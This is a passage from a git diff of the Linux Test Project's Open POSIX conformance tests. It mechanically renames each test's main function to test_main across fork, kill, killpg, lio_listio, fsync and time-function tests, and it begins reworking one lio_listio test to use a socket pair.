CLOCK_SETTIME_HELPERS_H */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/speculative/4-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/speculative/4-3.c index befba33e..5ab14b8f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/speculative/4-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/speculative/4-3.c @@ -53,7 +53,7 @@ static void handler(int signo) caught++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/speculative/4-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/speculative/4-4.c index bc9e354f..f937e8ac 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/speculative/4-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/clock_settime/speculative/4-4.c @@ -51,7 +51,7 @@ static void handler(int signo) caught++; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigevent ev; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/ctime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/ctime/1-1.c index b3f17b3d..055f018b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/ctime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/ctime/1-1.c @@ -14,7 +14,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { time_t current_time; char *result; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/difftime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/difftime/1-1.c index 1d2e19f8..35a3780d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/difftime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/difftime/1-1.c @@ -18,7 +18,7 @@ #include <sys/time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { time_t time0; double time_diff; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/1-1.c index 32b33b83..9b1ad91b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/1-1.c @@ -50,7 +50,7 @@ #define SEM_NAME "/semfork1_1" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/11-1.c index e31f3896..5a0cdc37 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/11-1.c @@ -60,7 +60,7 @@ static int child(int fd) return PTS_FAIL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char path_template[] = "/tmp/fork-11-1-XXXXXX"; int fd, child_stat, result = PTS_UNRESOLVED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/12-1.c index 2f09d6fe..063c52d1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/12-1.c @@ -49,7 +49,7 @@ #define VERBOSE 1 #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/13-1.c index b38aefe6..403c1ed4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/13-1.c @@ -48,7 +48,7 @@ #ifndef WITHOUT_XOPEN -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; @@ -154,7 +154,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This testcase requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/14-1.c index c42bbe6d..f79f5d08 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/14-1.c @@ -49,7 +49,7 @@ #define VERBOSE 1 #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/16-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/16-1.c index 258412c1..b8d96646 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/16-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/16-1.c @@ -56,7 +56,7 @@ #define VERBOSE 1 #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/17-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/17-1.c index 300c3ff7..de399e96 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/17-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/17-1.c @@ -51,7 +51,7 @@ #define POLICY SCHED_RR -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, param, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/17-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/17-2.c index 3c06c806..1b2abde6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/17-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/17-2.c @@ -81,7 +81,7 @@ /*********************************** Test case *****************************************/ /********************************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, param, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/18-1.c index ea02b5bb..d2f8091f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/18-1.c @@ -59,7 +59,7 @@ static void notification(union sigval sv) notified = (int)getpid(); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/19-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/19-1.c index 071db60c..8cb08583 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/19-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/19-1.c @@ -50,7 +50,7 @@ static const char *queue_name = "/fork_19_1_mq"; static const char message[] = "I'm your father..."; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/2-1.c index d8b78a73..ec573301 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/2-1.c @@ -60,7 +60,7 @@ static void handler(int sig) (void)sig; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/21-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/21-1.c index 7806e742..7ba1aa56 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/21-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/21-1.c @@ -65,7 +65,7 @@ static void *threaded(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/22-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/22-1.c index f7a07c58..7c10f11d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/22-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/22-1.c @@ -46,7 +46,7 @@ #define VERBOSE 1 #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/3-1.c index 294f1826..92b9f837 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/3-1.c @@ -46,7 +46,7 @@ #define VERBOSE 1 #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/4-1.c index 2baf7132..f42aa724 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/4-1.c @@ -44,7 +44,7 @@ #define VERBOSE 1 #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/6-1.c index 6a296191..dc2c76a5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/6-1.c @@ -70,7 +70,7 @@ static int count(DIR * thedir) return counter; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c index ce8d7d95..ebfd5410 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/7-1.c @@ -93,7 +93,7 @@ static int create_catalog(void) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/8-1.c index de370c2e..cddc2253 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/8-1.c @@ -48,7 +48,7 @@ #define VERBOSE 1 #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct tms ini_tms, parent_tms, child_tms; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/9-1.c index 816b8a91..dbece27f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fork/9-1.c @@ -47,7 +47,7 @@ #define VERBOSE 1 #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/4-1.c index c2008781..0a9e0780 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/4-1.c @@ -28,7 +28,7 @@ #define TNAME "fsync/4-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; char *data; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/5-1.c index 02a26bd6..18cbd051 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/5-1.c @@ -20,7 +20,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/7-1.c index 5154bbdc..c3b13c2c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/fsync/7-1.c @@ -27,7 +27,7 @@ #define TNAME "fsync/7-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int fd[2]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/getpid/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/getpid/1-1.c index 42f3a605..7ed7e3b5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/getpid/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/getpid/1-1.c @@ -65,7 +65,7 @@ static void *threaded(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; long mf; /* Is memory mapping supported? */ @@ -195,7 +195,7 @@ int main(void) } #else /* WITHOUT_XOPEN */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { output_init(); UNTESTED("This test requires XSI features"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/gmtime/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/gmtime/1-1.c index 03737ee2..7e3caa14 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/gmtime/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/gmtime/1-1.c @@ -14,7 +14,7 @@ #include <time.h> #include <posixtest.h> -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct tm *tm_ptr; time_t the_time; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/gmtime/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/gmtime/2-1.c index a30b18b3..8716a3f4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/gmtime/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/gmtime/2-1.c @@ -14,7 +14,7 @@ #include <time.h> #include <posixtest.h> -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct tm *tm_ptr; time_t the_time; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/1-1.c index 52d6f8d8..5986779e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/1-1.c @@ -32,7 +32,7 @@ static void handler(int signo) _exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/1-2.c index 8b25b05d..b1e46d46 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/1-2.c @@ -39,7 +39,7 @@ static void myhandler(int signo) _exit(1); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/2-1.c index 866e953e..e242fa99 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/2-1.c @@ -17,7 +17,7 @@ * the test a pass (most likely no signal was sent). */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (kill(getpid(), 0) != 0) { printf("Could not call kill with sig = 0\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/2-2.c index 1cd3b2fd..45a97b54 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/2-2.c @@ -30,7 +30,7 @@ * *** I need to check to see if these assumptions are always valid. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int failure = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/3-1.c index 70a8c590..32f4f086 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/kill/3-1.c @@ -19,7 +19,7 @@ #include <sys/types.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* this is added incase user is root. If user is normal user, then it * has no effect on the tests */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-1.c index 348d8cb7..eb5d05d2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-1.c @@ -32,7 +32,7 @@ static void handler(int signo) _exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pgrp; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-2.c index d69cebec..92960122 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/1-2.c @@ -33,7 +33,7 @@ static void myhandler(int signo) _exit(1); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int child_pid, child_pgid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/2-1.c index 37507d88..b0de7a63 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/2-1.c @@ -16,7 +16,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (killpg(getpgrp(), 0) != 0) { printf("Could not call killpg with sig = 0\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/4-1.c index 15569dcc..9b1627a1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/4-1.c @@ -16,7 +16,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pgrp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/5-1.c index e027f27f..1bc7c616 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/5-1.c @@ -17,7 +17,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pgrp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/6-1.c index b01c6723..51b53bed 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/6-1.c @@ -18,7 +18,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pgrp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/8-1.c index da4627eb..40d3f4b7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/killpg/8-1.c @@ -18,7 +18,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (killpg(999999, 0) != -1) { printf diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/1-1.c index 06381002..46f892b9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/1-1.c @@ -48,7 +48,7 @@ static void sigrt1_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/10-1.c index 87ecdf63..fdec5dcb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/10-1.c @@ -54,7 +54,7 @@ static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/12-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/12-1.c index fe3163da..7b4a46cb 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/12-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/12-1.c @@ -37,7 +37,7 @@ #define NUM_AIOCBS 10 #define BUF_SIZE 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c index 48754f81..4695c18b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/13-1.c @@ -37,7 +37,7 @@ #define NUM_AIOCBS 10 #define BUF_SIZE 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/14-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/14-1.c index f398f44a..f7a1c054 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/14-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/14-1.c @@ -55,7 +55,7 @@ static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/15-1.c index a72d6d6e..e9c70eda 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/15-1.c @@ -55,7 +55,7 @@ static void sigrt2_handler(int signum PTS_ATTRIBUTE_UNUSED, received_all = 1; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/18-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/18-1.c index 4b3ecf81..6f3db2bf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/18-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/18-1.c @@ -38,7 +38,7 @@ #define NUM_AIOCBS 1 #define BUF_SIZE 1024 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; int fd; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c index efcd5b3f..a08c2355 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/lio_listio/2-1.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2004, Bull SA. All rights reserved. + * Copyright (c) 2025 SUSE LLC * Created by: Laurent.Vivier@bull.net * This file is licensed under the GPL license. For the full content * of this license, see the COPYING file at the top level of this @@ -13,30 +14,33 @@ * * method: * - * - open a file for writing + * - open a socket pair * - submit a list of writes to lio_listio in LIO_NOWAIT mode * - check that upon return some I/Os are still running + * - drain the sockets + * - check that I/O finish signal was received * */ -#include <sys/stat.h> #include <aio.h> #include <errno.h> -#include <fcntl.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> +#include <sys/socket.h> #include "posixtest.h" #include "tempfile.h" #define TNAME "lio_listio/2-1.c" -#define NUM_AIOCBS 256 -#define BUF_SIZE 1024 +#define NUM_AIOCBS 8 +static int fds[2]; +static struct aiocb aiocbs[NUM_AIOCBS]; +static char *bufs; static volatile int received_all; static void sigrt2_handler(int signum 